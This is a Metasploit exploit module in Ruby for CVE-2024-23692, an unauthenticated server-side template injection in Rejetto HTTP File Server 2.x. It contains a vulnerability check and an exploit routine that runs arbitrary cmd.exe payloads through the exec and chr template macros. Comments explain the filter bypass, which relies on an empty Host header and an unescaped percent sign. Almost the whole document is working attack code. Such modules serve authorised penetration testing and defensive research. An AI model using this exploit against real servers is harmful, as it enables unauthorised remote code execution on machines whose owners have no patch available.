Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Rejetto HTTP File Server (HFS) Unauthenticated Remote Code Execution',  
'Description' => %q{  
The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template  
injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges  
of the user account running the HFS.exe server process. This exploit has been tested to work against version  
2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers  
and no patch is available. Users are recommended to upgrade to newer supported versions.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # Metasploit exploit  
'Arseniy Sharoglazov' # Original finder  
],  
'References' => [  
['CVE', '2024-23692'],  
['URL', 'https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/'],  
],  
'DisclosureDate' => '2024-05-25',  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Privileged' => false,  
'Targets' => [  
[  
# Tested against Rejetto HFS version:  
# * 2.4.0 RC7  
# * 2.3m  
'Automatic', {}  
],  
],  
'Payload' => {  
'BadChars' => '"'  
},  
'DefaultOptions' => {  
'RPORT' => 80  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [  
IOC_IN_LOGS,  
# If the HFS.exe process is run in a desktop session, the payload cmd.exe window will momentarily popup.  
SCREEN_EFFECTS  
]  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the web application', '']),  
]  
)  
end  
  
def send_ssti_request_cgi(template, opts = {})  
opts['vars_get'] ||= {}  
opts['headers'] ||= {}  
  
# The 'search' query parameter is echoed into the content before server side template processing occurs on the  
# content being processed. Under normal operation any user supplied content will be escaped, so any symbols, which  
# are encoded as '%symbol%' and macro which are encoded as '{:macro:}' will be escaped to prevent SSTI.  
  
# However we can force a percent symbol to become un-escaped. This allows us to embed any symbol in the content  
# being processed. We can leverage this to force the '%url%' symbol to become unescaped. This will echo back the  
# remainder of the un-encoded URL into the server side content.  
  
# To inject our own content, we need to first write a MARKER_UNQUOTE ':}' sequence,  
# however this will be filtered. We can then bypass the filtering for ':}' by leveraging the %host% symbol and an  
# empty host header value. So ':%host%}' will become ':}' and this will not be escaped. After this happens we can  
# perform an arbitrary template injection of any HFS symbols or macros we want.  
  
opts['vars_get'].merge!({  
'search' => "%25#{Rex::Text.rand_text_alpha(1)}%25url%25:%host%}#{template}"  
})  
  
# The Host header must be an empty string for the above symbol substitution to bypass the MARKER_UNQUOTE filtering.  
opts['headers'].merge!({  
'Host' => ''  
})  
  
opts['method'] = ['GET', 'POST'].sample  
  
opts['uri'] = normalize_uri(target_uri.path)  
  
opts['encode_params'] = false  
  
send_request_cgi(opts)  
end  
  
def check  
cookie_name = Rex::Text.rand_text_alphanumeric(32)  
cookie_value = Rex::Text.rand_text_alphanumeric(32)  
  
# Our check routine will leverage the SSTI vulnerability and use it to read a cookie value by its name, writing  
# this value to the response output. In addition we will write the current server version into the response output.  
# We can therefore verify if a target is vulnerable by first confirming the expected cookie value is now present  
# in the response output, and if so we can also pull out the target servers version number.  
res = send_ssti_request_cgi(  
"{.cookie|#{cookie_name}.}=%version%=",  
{  
'headers' => {  
'Cookie' => "#{cookie_name}=#{cookie_value}"  
}  
}  
)  
  
return CheckCode::Unknown('Connection failed') unless res  
  
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200  
  
version = res.body.match(/#{cookie_value}=([^=]+)=/)  
  
return CheckCode::Vulnerable("Rejetto HFS version #{version[1]}") if version  
  
CheckCode::Safe  
end  
  
def exploit  
command_string = "\"cmd\" \"/c #{payload.encoded}\""  
  
command_chars = command_string.unpack('C*').join('|')  
  
# To get code execution we leverage the 'exec' macro. We must leverage the 'chr' macro to construct an arbitrary  
# command string in order to avoid the server filtering out certain characters such as '%'. To avoid executing the  
# payload 4 times, we leverage the 'break' macro to stop processing the output.  
send_ssti_request_cgi("{.exec|{.chr|#{command_chars}.}.}{.break.}")  
end  
end  
`